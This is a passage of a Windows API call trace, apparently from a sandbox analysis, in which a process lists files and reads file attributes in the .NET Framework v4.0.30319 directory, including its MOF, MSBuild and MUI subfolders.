	[0087.764] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MOF" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mof"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.764] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MOF\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b4eeb40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xd1269b00, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xd1269b00, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.765] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b4eeb40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xd1269b00, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xd1269b00, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0087.765] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3896c600, ftCreationTime.dwHighDateTime=0x1cd0c4e, ftLastAccessTime.dwLowDateTime=0xd1269b00, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x3896c600, ftLastWriteTime.dwHighDateTime=0x1cd0c4e, nFileSizeHigh=0x0, nFileSizeLow=0x1593f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ServiceModel.mof", cAlternateFileName="SERVIC~1.MOF")) returned 1
	[0087.765] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9746f500, ftCreationTime.dwHighDateTime=0x1cac5db, ftLastAccessTime.dwLowDateTime=0x8b4eeb40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x9746f500, ftLastWriteTime.dwHighDateTime=0x1cac5db, nFileSizeHigh=0x0, nFileSizeLow=0x380, dwReserved0=0x0, dwReserved1=0x0, cFileName="ServiceModel.mof.uninstall", cAlternateFileName="SERVIC~1.UNI")) returned 1
	[0087.765] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e3e4400, ftCreationTime.dwHighDateTime=0x1cac5db, ftLastAccessTime.dwLowDateTime=0x8b4eeb40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x7e3e4400, ftLastWriteTime.dwHighDateTime=0x1cac5db, nFileSizeHigh=0x0, nFileSizeLow=0x3284, dwReserved0=0x0, dwReserved1=0x0, cFileName="ServiceModel35.mof", cAlternateFileName="SERVIC~2.MOF")) returned 1
	[0087.765] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e3e4400, ftCreationTime.dwHighDateTime=0x1cac5db, ftLastAccessTime.dwLowDateTime=0x8b4eeb40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x7e3e4400, ftLastWriteTime.dwHighDateTime=0x1cac5db, nFileSizeHigh=0x0, nFileSizeLow=0x2ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="ServiceModel35.mof.uninstall", cAlternateFileName="SERVIC~2.UNI")) returned 1
	[0087.765] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0087.765] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0087.766] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MOF\\ServiceModel.mof" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mof\\servicemodel.mof"), fInfoLevelId=0x0, lpFileInformation=0x1274a9b8 | out: lpFileInformation=0x1274a9b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3896c600, ftCreationTime.dwHighDateTime=0x1cd0c4e, ftLastAccessTime.dwLowDateTime=0xd1269b00, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x3896c600, ftLastWriteTime.dwHighDateTime=0x1cd0c4e, nFileSizeHigh=0x0, nFileSizeLow=0x1593f)) returned 1
	[0087.767] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MOF\\ServiceModel.mof.uninstall" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mof\\servicemodel.mof.uninstall"), fInfoLevelId=0x0, lpFileInformation=0x1274aa08 | out: lpFileInformation=0x1274aa08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9746f500, ftCreationTime.dwHighDateTime=0x1cac5db, ftLastAccessTime.dwLowDateTime=0x8b4eeb40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x9746f500, ftLastWriteTime.dwHighDateTime=0x1cac5db, nFileSizeHigh=0x0, nFileSizeLow=0x380)) returned 1
	[0087.767] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MOF\\ServiceModel35.mof" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mof\\servicemodel35.mof"), fInfoLevelId=0x0, lpFileInformation=0x1274aa58 | out: lpFileInformation=0x1274aa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e3e4400, ftCreationTime.dwHighDateTime=0x1cac5db, ftLastAccessTime.dwLowDateTime=0x8b4eeb40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x7e3e4400, ftLastWriteTime.dwHighDateTime=0x1cac5db, nFileSizeHigh=0x0, nFileSizeLow=0x3284)) returned 1
	[0087.768] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MOF\\ServiceModel35.mof.uninstall" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mof\\servicemodel35.mof.uninstall"), fInfoLevelId=0x0, lpFileInformation=0x1274aaa8 | out: lpFileInformation=0x1274aaa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e3e4400, ftCreationTime.dwHighDateTime=0x1cac5db, ftLastAccessTime.dwLowDateTime=0x8b4eeb40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x7e3e4400, ftLastWriteTime.dwHighDateTime=0x1cac5db, nFileSizeHigh=0x0, nFileSizeLow=0x2ac)) returned 1
	[0087.768] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\msbuild"), fInfoLevelId=0x0, lpFileInformation=0x1274aaf8 | out: lpFileInformation=0x1274aaf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ef93520, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5ce96a00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5ce96a00, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0087.769] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\msbuild"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.769] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ef93520, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5ce96a00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5ce96a00, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.769] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ef93520, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5ce96a00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5ce96a00, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0087.769] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53abef00, ftCreationTime.dwHighDateTime=0x1d06a02, ftLastAccessTime.dwLowDateTime=0x5ce96a00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x53abef00, ftLastWriteTime.dwHighDateTime=0x1d06a02, nFileSizeHigh=0x0, nFileSizeLow=0x3ad6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Commontypes.xsd", cAlternateFileName="MICROS~1.XSD")) returned 1
	[0087.769] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdea0fb00, ftCreationTime.dwHighDateTime=0x1cd0c63, ftLastAccessTime.dwLowDateTime=0xcfbcca00, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xdea0fb00, ftLastWriteTime.dwHighDateTime=0x1cd0c63, nFileSizeHigh=0x0, nFileSizeLow=0xb36d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Core.xsd", cAlternateFileName="MICROS~2.XSD")) returned 1
	[0087.769] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0087.769] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0087.769] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild\\Microsoft.Build.Commontypes.xsd" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\msbuild\\microsoft.build.commontypes.xsd"), fInfoLevelId=0x0, lpFileInformation=0x1274abe8 | out: lpFileInformation=0x1274abe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53abef00, ftCreationTime.dwHighDateTime=0x1d06a02, ftLastAccessTime.dwLowDateTime=0x5ce96a00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x53abef00, ftLastWriteTime.dwHighDateTime=0x1d06a02, nFileSizeHigh=0x0, nFileSizeLow=0x3ad6c)) returned 1
	[0087.769] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild\\Microsoft.Build.Core.xsd" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\msbuild\\microsoft.build.core.xsd"), fInfoLevelId=0x0, lpFileInformation=0x1274ac38 | out: lpFileInformation=0x1274ac38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdea0fb00, ftCreationTime.dwHighDateTime=0x1cd0c63, ftLastAccessTime.dwLowDateTime=0xcfbcca00, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xdea0fb00, ftLastWriteTime.dwHighDateTime=0x1cd0c63, nFileSizeHigh=0x0, nFileSizeLow=0xb36d)) returned 1
	[0087.769] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\msbuild.exe"), fInfoLevelId=0x0, lpFileInformation=0x1274ac88 | out: lpFileInformation=0x1274ac88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5d05fa80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x3fb30)) returned 1
	[0087.770] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild.rsp" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\msbuild.rsp"), fInfoLevelId=0x0, lpFileInformation=0x1274acd8 | out: lpFileInformation=0x1274acd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20195d00, ftCreationTime.dwHighDateTime=0x1cac5eb, ftLastAccessTime.dwLowDateTime=0x9efb9680, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x20195d00, ftLastWriteTime.dwHighDateTime=0x1cac5eb, nFileSizeHigh=0x0, nFileSizeLow=0x2dc)) returned 1
	[0087.770] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MUI" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mui"), fInfoLevelId=0x0, lpFileInformation=0x1274ad28 | out: lpFileInformation=0x1274ad28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5d37f760, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d37f760, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d37f760, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0087.771] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MUI" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.771] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MUI\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5d37f760, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d37f760, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d37f760, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.771] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5d37f760, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d37f760, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d37f760, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0087.771] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5d37f760, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d37f760, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d37f760, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0409", cAlternateFileName="")) returned 1
	[0087.771] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0087.771] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0087.771] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MUI\\0409" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mui\\0409"), fInfoLevelId=0x0, lpFileInformation=0x1274adc8 | out: lpFileInformation=0x1274adc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5d37f760, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d37f760, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d37f760, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0087.772] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MUI\\0409" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mui\\0409"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.772] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MUI\\0409\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5d37f760, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d37f760, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d37f760, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.772] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5d37f760, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d37f760, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d37f760, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0087.772] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5d37f760, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x94a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscorsecr.dll", cAlternateFileName="MSCORS~1.DLL")) returned 1
	[0087.772] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0087.772] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0087.772] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MUI\\0409\\mscorsecr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mui\\0409\\mscorsecr.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274ae68 | out: lpFileInformation=0x1274ae68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5d37f760, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x94a8)) returned 1
	[0087.772] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.Activities.Build.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\microsoft.activities.build.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274aeb8 | out: lpFileInformation=0x1274aeb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5c537360, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xd0e8)) returned 1
	[0087.773] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.Build.Conversion.v4.0.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\microsoft.build.conversion.v4.0.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274af08 | out: lpFileInformation=0x1274af08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5c7e4c20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x14b00)) returned 1
	[0087.773] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.Build.Engine.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\microsoft.build.engine.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274af58 | out: lpFileInformation=0x1274af58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5cb04900, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xa04d8)) returned 1
	[0087.773] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.Build.Framework.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\microsoft.build.framework.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274afa8 | out: lpFileInformation=0x1274afa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5cb50bc0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x186e8)) returned 1
	[0087.774] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.Build.Tasks.v4.0.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\microsoft.build.tasks.v4.0.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274aff8 | out: lpFileInformation=0x1274aff8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5cbc2fe0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x11bae8)) returned 1
	[0087.774] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.Build.Utilities.v4.0.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\microsoft.build.utilities.v4.0.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274b048 | out: lpFileInformation=0x1274b048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5cbe9140, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x41af8)) returned 1
	[0087.774] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.Build.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\microsoft.build.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274b098 | out: lpFileInformation=0x1274b098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5cab8640, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x1582c0)) returned 1
	[0087.774] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.Build.xsd" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\microsoft.build.xsd"), fInfoLevelId=0x0, lpFileInformation=0x1274b0e8 | out: lpFileInformation=0x1274b0e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20195d00, ftCreationTime.dwHighDateTime=0x1cac5eb, ftLastAccessTime.dwLowDateTime=0x9ef93520, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x20195d00, ftLastWriteTime.dwHighDateTime=0x1cac5eb, nFileSizeHigh=0x0, nFileSizeLow=0x936)) returned 1
